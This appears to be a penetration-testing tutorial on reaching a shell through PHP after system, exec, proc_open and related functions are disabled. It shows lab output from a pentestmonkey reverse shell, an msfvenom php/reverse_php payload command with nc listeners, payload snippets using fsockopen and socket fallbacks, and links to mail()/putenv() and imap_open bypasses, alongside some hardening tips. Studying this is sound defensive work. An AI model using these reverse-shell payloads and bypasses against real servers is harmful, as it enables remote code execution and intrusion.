# Bypassing Dangerous PHP Functions

{% embed url="<https://alionder.net/dangerous-php-functions/>" %}

**system** : immediately shows all output, and is used to show text

**passthru:** returns output immediately, but is used for binary data and  is used for returning binary data instead of ascii.

**shell\_exec** returns the full output of the command, when the command finished running.

**exec:** only returns the last line of the generated output.

Imagine that you found a file upload or Remote File Inclusion vulnerability where you can upload/request your php-reverse-shell and get a quick shell. However, it may be possible that administrator disabled all of the above php functions so let’s see these 4 dangerous php functions in action first before we jump to the other functions.

## System

```php
root@kali:~# cat system.php
<?php
system("whoami");
?>
root@kali:~#
root@kali:~# php system.php
root
root@kali:~#
```

## Shell\_exec

```php
root@kali:~# cat shell_exec.php
<?php
echo shell_exec("whoami");
?>
root@kali:~# php shell_exec.php
root
root@kali:~#
```

## Exec

```php
root@kali:~# cat exec.php
<?php
echo exec("whoami");
?>
root@kali:~# php exec.php
root
root@kali:~#
```

## Passthru

```php
root@kali:~# cat pasthru.php
<?php
passthru("whoami");
?>
root@kali:~# php pasthru.php
root
root@kali:~#
```

Nice! We can run OS commands and get the output of the command. So what happens if we disable all of these 4 functions ? Disable dangerous php functions above from php.ini file under /etc/php/7.2/cli/php.ini and set display\_errors to On.

If you are performing this exercise via your apache, you may need to disable them on /etc/php/7.2/apache2/php.ini . Let’s run the same php files again.

```php
root@kali:~# php pasthru.php
PHP Warning:  passthru() has been disabled for security reasons in /root/pasthru.php on line 2

Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2
root@kali:~#
```

Please also note that we are receiving this error due to Display\_errors= On feature. You can enable this feature on production environment but you need to disable it on live environment.

## PHP-Reverse-Shell Pentestmonkey

We all know famous php-reverse-shell for linux from [pentest-monkey](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php). We can try to get a shell with the reverse shell above as it uses **proc\_open** function.

```php
root@kali:/usr/share/webshells/php# PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184  

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Successfully opened reverse shell to 127.0.0.1:1234
```

Listening the shell. We got the root shell

```bash
root@kali:/usr/share/webshells/php# nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49308
Linux kali 4.17.0-kali1-686 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) i686 GNU/Linux
 15:08:16 up 1 day,  1:59,  1 user,  load average: 0.08, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     :1       :1               07:23   ?xdm?   1:39   0.01s /usr/lib/gdm3/gdm-x-session --run-script gnome-session
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
#
```

## Proc\_open

Disable proc\_open function as well.

```bash
root@kali:/usr/share/webshells/php# php php-reverse-shell.php
PHP Notice:  Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113

Notice: Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Warning:  proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113  

Warning: proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
ERROR: Can't spawn shell
root@kali:/usr/share/webshells/php#
```

## Msfvenom PHP Shell

We can’t get a shell now. Let’s create a msfvenom php shell.

```bash
root@kali:/usr/share/webshells/php# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=443 -f raw > shell.php   
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3046 bytes
root@kali:/usr/share/webshells/php#
root@kali:/usr/share/webshells/php# php shell.php
    /*^
```

```bash
We can get a shell. How possible ?
root@kali:/usr/share/webshells/php# nc -lvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43828
id
uid=0(root) gid=0(root) groups=0(root)
```

So we disabled bunch of dangerous php functions but we can still get a shell. We can go through the php code now:

```php
if($rRMZDi('shell_exec')and!$WzjhDqn('shell_exec',$dis)){

  ...SNIP...
      }else
      if($rRMZDi('passthru')and!$WzjhDqn('passthru',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('popen')and!$WzjhDqn('popen',$dis)){
   
 ...SNIP...

      }else
      if($rRMZDi('exec')and!$WzjhDqn('exec',$dis)){

     ...SNIP...

      }else
      if($rRMZDi('system')and!$WzjhDqn('system',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('proc_open')and!$WzjhDqn('proc_open',$dis)){
        $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);   

 ...SNIP...
```

It looks interesting. We can see **shell\_exec**, **passthru**, **popen**, **exec**, **system** and **proc\_open** functions in the code from msfvenom. Let’s compare again these functions to our disable\_function in php.ini . Popen seems interesting.

## Popen

After disabling popen, I would be able to still get a shell and i noticed another line from the shell.php which is below:

```php
$nofuncs='no exec functions';
    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
      $s=@fsockopen("tcp://127.0.0.1",$port);
      while($c=fread($s,2048)){
     ...SNIP...
}else{
      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
      @socket_connect($s,$ipaddr,$port);
      @socket_write($s,"socket_create");
     ...SNIP...
```

## Fsockopen and Socket\_create

If no exec functions enabled, it uses **fsockopen**. I disabled fsockopen, socket\_create as well as a result, I can’t get a shell now with shell.

## Mail() and Putenv()

Here is a neat method which abuses of the mail() and putenv() functionality: <https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/>

You can download Chankro tool from the github and test it as well. It will work smoothly to bypass the disable\_functions. In order to block this method, you also need to disable putenv() function.

## Mod\_cgi

Another method with mod\_cgi: <https://web.archive.org/web/20160708143917/https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/>

## Imap\_open()

One of the latest bypassing disable\_functions is using imap\_open function. It looks really similar to mail() and putenv() bypass . Here you can find great explanation here: <https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb>

In order to prevent imap\_open bypass, you need to set [imap.enable\_insecure\_rsh](https://php.net/manual/en/imap.configuration.php#ini.imap.enable-insecure-rsh) to 0. It is 0 as default but if you are in the test environment and want to play with the vulnerability, you can set it to 1 and see the behavior with strace tool in Linux.
